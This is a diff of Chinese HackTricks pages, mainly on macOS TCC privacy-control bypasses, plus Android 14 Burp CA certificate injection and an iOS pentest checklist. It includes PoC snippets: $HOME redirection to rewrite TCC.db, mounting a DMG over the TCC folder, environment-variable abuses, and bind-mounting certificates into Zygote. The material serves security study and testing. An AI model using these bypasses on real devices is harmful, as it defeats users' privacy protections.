更多信息和 PoC 请参
更多信息和 PoC 请参
{% content-ref url="../../../macos-privilege-escalation.md" %}
[macos-privilege-escalation.md](../../../macos-privilege-escalation.md)
@ -51,35 +51,35 @@ asd
### SSH 绕过
默认情况下,通过 **SSH 访问** 具有 "Full Disk Access"。为了禁用此功能,您需要将其列出但禁用(从列表中删除它不会删除这些权限):
默认情况下,通过 **SSH 访问** 具有 **"完全磁盘访问权限"**。为了禁用此功能,您需要将其列出但禁用(从列表中删除它不会删除这些权限):
![](<../../../../../.gitbook/assets/image (569).png>)
在这里,您可以找到一些 **恶意软件如何绕过此保护** 的示例:
在这里,您可以找到一些**恶意软件如何绕过此保护**的示例:
* [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
{% hint style="danger" %}
请注意,现在为了能够启用 SSH您需要 **Full Disk Access**
请注意,现在为了能够启用 SSH您需要**完全磁盘访问权限**
{% endhint %}
### 处理扩展名 - CVE-2022-26767
属性 **`com.apple.macl`** 被赋予文件以授予某个应用程序读取权限。当用户通过拖放文件到应用程序上或双击文件以默认应用程序打开文件时,将设置此属性。
属性 **`com.apple.macl`** 被赋予文件以授予**某个应用程序读取权限**。当**拖放**文件到应用程序上或用户**双击**文件以使用**默认应用程序**打开文件时,将设置此属性。
因此,用户可以注册一个恶意应用程序来处理所有扩展名,并调用 Launch Services 来 **打开** 任何文件(因此恶意文件将被授予读取权限)。
因此,用户可以**注册一个恶意应用程序**来处理所有扩展名,并调用启动服务来**打开**任何文件(因此恶意文件将被授予读取权限)。
### iCloud
授权 **`com.apple.private.icloud-account-access`** 可以与 **`com.apple.iCloudHelper`** XPC 服务通信,后者将提供 iCloud 令牌。
授权 **`com.apple.private.icloud-account-access`** 可以与 **`com.apple.iCloudHelper`** XPC 服务通信,后者将**提供 iCloud 令牌**
**iMovie** 和 **Garageband** 具有此授权以及其他允许的权限
**iMovie** 和 **Garageband** 具有此授权以及其他授权
有关从该授权中获取 iCloud 令牌的漏洞的更多 **信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
有关从该授权中获取 icloud 令牌的漏洞的更多**信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / 自动化
具有 **`kTCCServiceAppleEvents`** 权限的应用程序将能够 **控制其他应用程序**。这意味着它可能能够 **滥用授予其他应用程序的权限**
具有 **`kTCCServiceAppleEvents`** 权限的应用程序将能够**控制其他应用程序**。这意味着它可能能够**滥用授予其他应用程序的权限**。
有关 Apple 脚本的更多信息,请查看:
@ -87,11 +87,11 @@ asd
[macos-apple-scripts.md](macos-apple-scripts.md)
{% endcontent-ref %}
例如,如果一个应用程序`iTerm` 具有 **自动化权限**,例如在此示例中 **`Terminal`** 具有对 iTerm 的访问权限:
例如,如果一个应用程序具有**对 `iTerm` 的自动化权限**,例如在此示例中**`Terminal`** 具有对 iTerm 的访问权限:
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
#### 对 iTerm
#### 在 iTerm 上
没有 FDA 的 Terminal 可以调用具有 FDA 的 iTerm并使用它执行操作
@ -129,8 +129,8 @@ do shell script "rm " & POSIX path of (copyFile as alias)
用户空间的 **tccd 守护程序** 使用 **`HOME`** **env** 变量来访问 TCC 用户数据库:**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
根据[这篇 Stack Exchange 帖子](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686),由于 TCC 守护程序通过 `launchd` 在当前用户域中运行,可以**控制传递给它的所有环境变量**。\
因此,**攻击者可以在 `launchctl` 中设置 `$HOME` 环境**变量指向一个**受控**的**目录****重新启动** TCC 守护程序,然后**直接修改 TCC 数据库**以赋予自己**所有可用的 TCC 权限**,而无需提示最终用户。\
根据[这篇 Stack Exchange 帖子](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686),由于 TCC 守护程序通过 `launchd` 在当前用户域中运行,可以**控制传递给它的所有环境变量**。\
因此,**攻击者可以在 `launchctl` 中设置 `$HOME` 环境** 变量指向一个**受控** **目录****重新启动** **TCC** 守护程序,然后**直接修改 TCC 数据库**,以获取**所有可用的 TCC 权限**,而无需提示最终用户。\
PoC:
```bash
# reset database just in case (no cheating!)
@ -182,22 +182,22 @@ Notes可以访问TCC受保护的位置但是当创建一个笔记时它会
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
如果**`SQLITE_SQLLOG_DIR="path/folder"`**基本上意味着**任何打开的数据库都会被复制到该路径**。在这个CVE中这个控制被滥用以便在将要由具有FDA TCC数据库的进程打开的**SQLite数据库**中**写入**,然后滥用**`SQLITE_SQLLOG_DIR`**与**文件名中的符号链接**,因此当该数据库被**打开**时,用户的**TCC.db被覆盖**为已打开的数据库。\
**更多信息**[**在写作中**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **和**[**在讲座中**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s)。
**更多信息**[**在写作中**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html)**和**[**在讲座中**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s)。
### **SQLITE\_AUTO\_TRACE**
如果设置环境变量**`SQLITE_AUTO_TRACE`**,库**`libsqlite3.dylib`**将开始**记录**所有SQL查询。许多应用程序使用此库,因此可以记录它们的所有SQLite查询。
如果设置环境变量**`SQLITE_AUTO_TRACE`**,库**`libsqlite3.dylib`**将开始**记录**所有SQL查询。许多应用程序使用这个库,因此可以记录它们所有的SQLite查询。
几个苹果应用程序使用库来访问TCC受保护的信息。
几个苹果应用程序使用这个库来访问TCC受保护的信息。
```bash
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
```
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
这个**环境变量被`Metal`框架使用**这是各种程序的依赖,尤其是`Music`,它有FDA。
这个**环境变量被`Metal`框架使用**它是各种程序的依赖,尤其是`Music`,它具有FDA。
设置以下内容:`MTL_DUMP_PIPELINES_TO_JSON_FILE="路径/名称"`。如果`路径`是一个有效的目录,该漏洞将被触发,我们可以使用`fs_usage`查看程序的运行情况
设置以下内容:`MTL_DUMP_PIPELINES_TO_JSON_FILE="路径/名称"`。如果`路径`是一个有效的目录,该漏洞将被触发,我们可以使用`fs_usage`查看程序中发生了什么
* 一个文件将被`open()`,名为`路径/.dat.nosyncXXXX.XXXXXX`X是随机的
* 一个或多个`write()`将内容写入文件(我们无法控制此过程)
@ -220,7 +220,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
* 设置`MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
* 通过使用此环境变量运行`Music`来触发漏洞
* 捕获`/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`X是随机的的`open()`
* 在这里,我们为写入打开此文件,并保留文件描述符
* 在这里,我们为写入打开此文件,并保留文件描述符
* 在一个循环中原子地切换`/Users/hacker/tmp`和`/Users/hacker/ourlink`
* 我们这样做是为了最大化成功的机会,因为竞争窗口非常狭窄,但是输掉比赛的风险微乎其微
* 等待一会儿
@ -235,15 +235,15 @@ launchctl setenv SQLITE_AUTO_TRACE 1
### Apple Remote Desktop
作为root您可以启用此服务**ARD代理将具有完全磁盘访问权限**,用户可以利用这一点使其复制新的**TCC用户数据库**。
作为root您可以启用此服务**ARD代理将具有完全磁盘访问权限**,用户可以滥用这一点,使其复制新的**TCC用户数据库**。
## 通过**NFSHomeDirectory**
TCC使用用户HOME文件夹中的数据库来控制用户特定资源的访问,位于**$HOME/Library/Application Support/com.apple.TCC/TCC.db**。\
TCC在用户的HOME文件夹中使用数据库来控制用户特定资源的访问,位于**$HOME/Library/Application Support/com.apple.TCC/TCC.db**。\
因此,如果用户设法使用指向**不同文件夹**的$HOME环境变量重新启动TCC用户可以在**/Library/Application Support/com.apple.TCC/TCC.db**中创建一个新的TCC数据库并欺骗TCC授予任何应用程序任何TCC权限。
{% hint style="success" %}
请注意Apple使用存储在用户配置文件中的设置**`NFSHomeDirectory`**属性用于**`$HOME`的值**,因此,如果您入侵具有修改此值权限的应用程序(**`kTCCServiceSystemPolicySysAdminFiles`**您可以使用TCC绕过**武器化**此选项。
请注意Apple使用存储在用户配置文件中的设置来作为**`NFSHomeDirectory`**属性的值,因此,如果您入侵了具有修改此值权限的应用程序(**`kTCCServiceSystemPolicySysAdminFiles`**您可以使用TCC绕过**武器化**此选项。
{% endhint %}
### [CVE-20209934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
@ -252,17 +252,17 @@ TCC使用用户HOME文件夹中的数据库来控制用户特定资源的访问
### CVE-2021-30970 - Powerdir
**第一个POC**使用[dsexport](https://www.unix.com/man-page/osx/1/dsexport/)和[dsimport](https://www.unix.com/man-page/osx/1/dsimport/)修改用户的**HOME**文件夹。
**第一个POC**使用[dsexport](https://www.unix.com/man-page/osx/1/dsexport/)和[dsimport](https://www.unix.com/man-page/osx/1/dsimport/)修改用户的**HOME**文件夹。
1. 为目标应用程序获取_csreq_ blob。
2. 放置一个带有所需访问权限和_csreq_ blob的假_TCC.db_文件。
2. 放置一个带有所需访问权限和_csreq_ blob的假_TCC.db_文件。
3. 使用[dsexport](https://www.unix.com/man-page/osx/1/dsexport/)导出用户的目录服务条目。
4. 修改目录服务条目以更改用户的主目录。
5. 使用[dsimport](https://www.unix.com/man-page/osx/1/dsimport/)导入修改后的目录服务条目。
6. 停止用户的_tccd_并重新启动该进程。
第二个POC使用了**`/usr/libexec/configd`**,其中具有值为`kTCCServiceSystemPolicySysAdminFiles`的`com.apple.private.tcc.allow`权限。\
通过使用**`-t`**选项运行**`configd`**,攻击者可以指定要**加载的自定义Bundle**。因此,该漏洞**替换了**使用**`configd`代码注入**更改用户主目录的**`dsexport`**和**`dsimport`**方法。
通过使用**`-t`**选项运行**`configd`**,攻击者可以指定要加载的**自定义Bundle**。因此,该漏洞**替换了**使用**`configd`代码注入**更改用户主目录的**`dsexport`**和**`dsimport`**方法。
有关更多信息,请查看[**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)。
@ -275,13 +275,13 @@ TCC使用用户HOME文件夹中的数据库来控制用户特定资源的访问
{% endcontent-ref %}
此外发现的绕过TCC最常见的进程注入是通过**插件(加载库)**。\
插件通常是以库或plist形式的额外代码将由主应用程序**加载并在其上下文中执行**。因此如果主应用程序具有对TCC受限文件的访问权限通过授予的权限或权限**自定义代码也将具有该权限**。
插件通常以库或plist的形式存在将由主应用程序**加载**并在其上下文中执行。因此如果主应用程序具有对TCC受限文件的访问权限通过授予的权限或权限**自定义代码也将具有该权限**。
### CVE-2020-27937 - Directory Utility
应用程序`/System/Library/CoreServices/Applications/Directory Utility.app`具有权限**`kTCCServiceSystemPolicySysAdminFiles`**,加载带有**`.daplug`**扩展名的插件,并且**没有启用强化**运行时。
为了武器化此CVE**`NFSHomeDirectory`**被**更改**(滥用先前的权限)以便能够**接管用户的TCC数据库**以绕过TCC。
为了武器化此CVE**`NFSHomeDirectory`**被**更改**(滥用先前的权限)以便能够**接管用户的TCC数据库**以绕过TCC。
有关更多信息,请查看[**原始报告**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)。
### CVE-2020-29621 - Coreaudiod
@ -319,7 +319,7 @@ exit(0);
### 设备抽象层DAL插件
通过核心媒体I/O打开摄像头流的系统应用程序(具有**`kTCCServiceCamera`**的应用程序)在进程中加载位于`/Library/CoreMediaIO/Plug-Ins/DAL`中的这些插件不受SIP限制
通过核心媒体I/O具有**`kTCCServiceCamera`**的应用程序)打开摄像头流的系统应用程序会在`/Library/CoreMediaIO/Plug-Ins/DAL`中加载**这些插件**不受SIP限制
只需在那里存储一个具有常见**构造函数**的库即可用于**注入代码**。
@ -397,9 +397,9 @@ launchctl load com.telegram.launcher.plist
### 终端脚本
通常会为终端授予**完全磁盘访问权限FDA**至少在技术人员使用的计算机上是如此。可以使用它来调用**`.terminal`**脚本。
在技术人员使用的计算机上,通常会为终端授予**完全磁盘访问权限FDA**并且可以使用它来调用**`.terminal`**脚本。
**`.terminal`** 脚本是类似于以下有要在**`CommandString`**键中执行的命令的属性列表文件:
**`.terminal`** 脚本是类似于以下有要在**`CommandString`**键中执行的命令的属性列表文件:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -471,29 +471,7 @@ hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TC
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg
```
{% endcode %}
## macOS TCC Bypasses
### Introduction
In macOS, Transparency, Consent, and Control (TCC) framework is responsible for managing application access to sensitive data such as contacts, calendar, camera, microphone, and more. This document outlines various techniques to bypass TCC protections on macOS.
### Techniques
1. **Exploiting Accessibility Permissions**: By abusing accessibility permissions, an attacker can gain access to protected data without requiring user consent.
2. **Manipulating SQLite Database**: TCC stores its settings in a SQLite database. By directly manipulating this database, an attacker can modify TCC settings to allow unauthorized access.
3. **Exploiting Installed Configuration Profiles**: Configuration profiles can be used to grant applications access to protected data without user interaction. An attacker can exploit this to bypass TCC protections.
4. **Abusing Developer Tools**: Xcode and other developer tools can be abused to grant applications access to protected data without triggering TCC prompts.
5. **Exploiting System Preferences**: By manipulating System Preferences, an attacker can modify TCC settings to allow unauthorized access to protected data.
### Mitigation
To mitigate TCC bypasses, users should be cautious when granting permissions to applications, regularly review and revoke unnecessary permissions, and keep their system and applications up to date with the latest security patches.
{% endcode %}
```python
# This was the python function to create the dmg
def create_dmg():
@ -531,11 +509,11 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
这种方法不再有效,但在过去[**曾经有效**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)****
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
另一种方法是使用[**CoreGraphics事件**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf)
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
## 参考

View file

@ -16,7 +16,7 @@
## 在虚拟机上
首先您需要从Burp中下载Der证书。您可以在_**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ 中执行此操作
首先您需要从Burp中下载Der证书。您可以在_**代理**_ --> _**选项**_ --> _**导入/导出CA证书**_ 中执行此操作
![](<../../.gitbook/assets/image (367).png>)
@ -29,7 +29,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
```
{% endcode %}
然后,**配置Burp证书**
然后,**配置Burp证书**
{% code overflow="wrap" %}
```bash
@ -44,39 +44,39 @@ adb reboot #Now, reboot the machine
```
{% endcode %}
一旦**机器完成重新启动**Burp 证书将被其使用!
一旦**机器完成重新启动**Burp证书将被其使用
## 使用 Magisc
## 使用Magisc
如果您使用 Magisc可能是模拟器**对设备进行了 root 处理**,并且由于**文件系统是只读的**且无法将其重新挂载为可写状态,因此无法按照之前的**步骤**安装 Burp 证书,那么还有另一种方法。
如果您使用Magisc可能是模拟器**对设备进行了root处理**,并且由于**文件系统是只读的**且无法将其重新挂载为可写状态,因此无法按照之前的**步骤**安装Burp证书那么还有另一种方法。
在[**此视频**](https://www.youtube.com/watch?v=qQicUW0svB8)中有解释,您需要:
在[**此视频**](https://www.youtube.com/watch?v=qQicUW0svB8)中有详细说明,您需要:
1. **安装 CA 证书**:只需将 DER Burp 证书**拖放**到移动设备上,将扩展名更改为`.crt`,以便将其存储在下载文件夹中,然后转到`安装证书` -> `CA 证书`
1. **安装CA证书**只需将DER Burp证书**拖放**到移动设备上,将扩展名更改为`.crt`,以便将其存储在下载文件夹中,然后转到`安装证书` -> `CA证书`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
* 检查证书是否正确存储,转到`受信任的凭据` -> `用户`
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
2. **使其成为系统信任的证书**:下载 Magisc 模块[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个.zip 文件),将其**拖放**到手机中,在手机中打开 Magics 应用程序,转到**`模块`**部分,点击**`从存储安装`**,选择`.zip` 模块,安装后**重新启动**手机:
2. **使其成为系统信任的证书**下载Magisc模块[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个.zip文件将其**拖放**到手机中,在手机中打开**Magics应用**,转到**`模块`**部分,点击**`从存储安装`**,选择`.zip`模块,安装后**重新启动**手机:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
* 重新启动后,转到`受信任的凭据` -> `系统`,检查 Postswigger 证书是否存在
* 重新启动后,转到`受信任的凭据` -> `系统`检查Postswigger证书是否存在
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
## Android 14
## Android 14后
在最新的 Android 14 发布观察到了系统信任的证书颁发机构CA证书处理方式的重大变化。以前这些证书存储在**`/system/etc/security/cacerts/`**中,可供具有 root 权限的用户访问和修改,从而可以立即应用于整个系统。然而,随着 Android 14 的推出,存储位置已经移至**`/apex/com.android.conscrypt/cacerts`**,这是**`/apex`**路径内的一个目录,其特性是不可变的
在最新的Android 14版本观察到了系统信任的证书颁发机构CA证书处理方式的重大变化。以前这些证书存储在**`/system/etc/security/cacerts/`**中,用户可以使用root权限访问和修改从而可以立即应用于整个系统。然而随着Android 14的推出存储位置已经移至**`/apex/com.android.conscrypt/cacerts`**,这是**`/apex`**路径内的一个目录,具有不可变性
尝试将**APEX cacerts 路径**重新挂载为可写会失败因为系统不允许此类操作。即使尝试卸载或使用临时文件系统tmpfs覆盖该目录,也无法绕过不可变性;应用程序继续访问原始证书数据,而不考虑文件系统级别的更改。这种韧性是由于**`/apex`** 挂载配置为私有传播,确保**`/apex`** 目录内的任何修改不会影响其他进程。
尝试将**APEX cacerts路径**重新挂载为可写会失败因为系统不允许此类操作。即使尝试卸载或使用临时文件系统tmpfs覆盖该目录也无法绕过不可变性;应用程序仍然会访问原始证书数据,而不考虑文件系统级别的更改。这种韧性是由于**`/apex`**挂载配置为私有传播,确保**`/apex`**目录内的任何修改不会影响其他进程。
Android 的初始化涉及`init` 进程,该进程在启动操作系统时还会启动 Zygote 进程。该进程负责使用包含私有**`/apex`** 挂载的新挂载命名空间启动应用程序进程,从而将对该目录的更改与其他进程隔离开来。
Android的初始化涉及`init`进程该进程在启动操作系统时还会启动Zygote进程。该进程负责使用包含私有**`/apex`**挂载的新挂载命名空间启动应用程序进程,从而将对该目录的更改与其他进程隔离开来。
然而,对于需要修改**`/apex`** 目录内系统信任的 CA 证书的人来说,存在一种解决方法。这涉及手动重新挂载**`/apex`** 以去除私有传播,从而使其可写。该过程包括将**`/apex/com.android.conscrypt`** 的内容复制到另一个位置,卸载**`/apex/com.android.conscrypt`** 目录以消除只读约束,然后将内容恢复到**`/apex`** 的原始位置。这种方法需要迅速行动以避免系统崩溃。为了确保这些更改在整个系统范围内应用,建议重新启动`system_server`,这将有效地重新启动所有应用程序并使系统处于一致状态。
然而,对于需要修改**`/apex`**目录内系统信任的CA证书的人来说存在一种解决方法。这涉及手动重新挂载**`/apex`**以去除私有传播,从而使其可写。该过程包括将**`/apex/com.android.conscrypt`**的内容复制到另一个位置,卸载**`/apex/com.android.conscrypt`**目录以消除只读约束,然后将内容恢复到**`/apex`**的原始位置。这种方法需要迅速行动以避免系统崩溃。为了确保这些更改在整个系统范围内应用,建议重新启动`system_server`,这将有效地重新启动所有应用程序并使系统处于一致状态。
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -140,8 +140,8 @@ echo "System certificate injected"
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **准备 CA 证书**:在设置可写目录之后,应将打算使用的 CA 证书复制到该目录中。这可能涉及从 `/apex/com.android.conscrypt/cacerts/` 复制默认证书。必须相应地调整这些证书的权限和 SELinux 标签。
3. **为 Zygote 进行绑定挂载**:利用 `nsenter`,进入 Zygote 的挂载命名空间。Zygote 是负责启动 Android 应用程序的进程,需要执行此步骤以确保此后启动的所有应用程序都使用新配置的 CA 证书。使用的命令如下
2. **准备 CA 证书**:在可写目录设置完成后,应将打算使用的 CA 证书复制到该目录中。这可能涉及从 `/apex/com.android.conscrypt/cacerts/` 复制默认证书。必须相应地调整这些证书的权限和 SELinux 标签。
3. **为 Zygote 进行绑定挂载**:利用 `nsenter`,进入 Zygote 的挂载命名空间。Zygote 是负责启动 Android 应用程序的进程,需要执行此步骤以确保此后启动的所有应用程序都使用新配置的 CA 证书。使用的命令
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
@ -151,22 +151,8 @@ nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/securi
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **替代方法 - 软重启**:另一种方法涉及在`init`进程PID 1上执行绑定挂载然后使用`stop && start`命令对操作系统进行软重启。这种方法将在所有命名空间中传播更改,避免了需要单独处理每个运行中应用程序的需求。然而,由于重新启动的不便,通常较少选择此方法
5. **替代方法 - 软重启**:另一种方法涉及在`init`进程PID 1上执行绑定挂载然后使用`stop && start`命令对操作系统进行软重启。这种方法将在所有命名空间中传播更改,避免了需要单独处理每个运行中应用程序的需求。然而,由于重新启动的不便,通常不太受欢迎
## 参考
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,9 +1,9 @@
# iOS渗透测试清单
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流程**,使用全球**最先进**的社区工具。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,使用全球**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -16,15 +16,15 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -33,7 +33,7 @@
### 准备工作
* [ ] 阅读[**iOS基础知识**](ios-pentesting/ios-basics.md)
* [ ] 阅读[**iOS测试环境**](ios-pentesting/ios-testing-environment.md)以准备您的环境
* [ ] 准备您的环境,阅读[**iOS测试环境**](ios-pentesting/ios-testing-environment.md)
* [ ] 阅读[**iOS初始分析**](ios-pentesting/#initial-analysis)的所有部分了解渗透测试iOS应用程序的常见操作
### 数据存储
@ -71,14 +71,14 @@
### **破解加密**
* [ ] 检查是否可以找到用于加密的[**密码**](ios-pentesting/#broken-cryptography)
* [ ] 检查是否使用[**已弃用/弱算法**](ios-pentesting/#broken-cryptography)发送/存储敏感数据
* [ ] 检查是否使用[**已弃用/弱算法**](ios-pentesting/#broken-cryptography)发送/存储敏感数据
* [ ] [**挂钩和监视加密函数**](ios-pentesting/#broken-cryptography)
### **本地身份验证**
* [ ] 如果应用程序使用[**本地身份验证**](ios-pentesting/#local-authentication),应检查身份验证的工作方式。
* [ ] 如果使用[**本地身份验证框架**](ios-pentesting/#local-authentication-framework),可能很容易绕过
* [ ] 如果使用可以动态绕过的[**功能**](ios-pentesting/#local-authentication-using-keychain)进行本地身份验证可以创建自定义frida脚本
* [ ] 如果使用可以动态绕过的[**函数**](ios-pentesting/#local-authentication-using-keychain)可以创建自定义frida脚本
### 通过IPC暴露敏感功能
@ -87,12 +87,12 @@
* [ ] 检查应用程序是否**注册使用**任何协议/方案
* [ ] 检查应用程序是否**期望接收来自自定义方案的任何敏感信息**,可以被另一个注册相同方案的应用程序**拦截**
* [ ] 检查应用程序是否**未检查和清理**通过自定义方案输入的用户输入,某些**漏洞可能被利用**
* [ ] 检查应用程序是否**暴露可以通过自定义方案从任何地方调用的任何敏感操作**
* [ ] 检查应用程序是否**暴露任何敏感操作**可以通过自定义方案从任何地方调用
* [**通用链接**](ios-pentesting/#universal-links)
* [ ] 检查应用程序是否**注册了任何通用协议/方案**
* [ ] 检查`apple-app-site-association`文件
* [ ] 检查应用程序是否**未检查和清理**通过自定义方案输入的用户输入,某些**漏洞可能被利用**
* [ ] 检查应用程序是否**暴露可以通过自定义方案从任何地方调用的任何敏感操作**
* [ ] 检查应用程序是否**暴露任何敏感操作**可以通过自定义方案从任何地方调用
* [**UIActivity共享**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] 检查应用程序是否可以接收UIActivities以及是否可以利用特制活动来利用任何漏洞
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
@ -103,9 +103,9 @@
* [ ] 应用程序是否**使用任何扩展**
* [**WebViews**](ios-pentesting/ios-webviews.md)
* [ ] 检查正在使用的WebViews类型
* [ ] 检查**`javaScriptEnabled`****`JavaScriptCanOpenWindowsAutomatically`****`hasOnlySecureContent`**的状态
* [ ] 检查Webview是否可以使用**`file://`**协议访问本地文件**`allowFileAccessFromFileURLs``allowUniversalAccessFromFileURLs`**
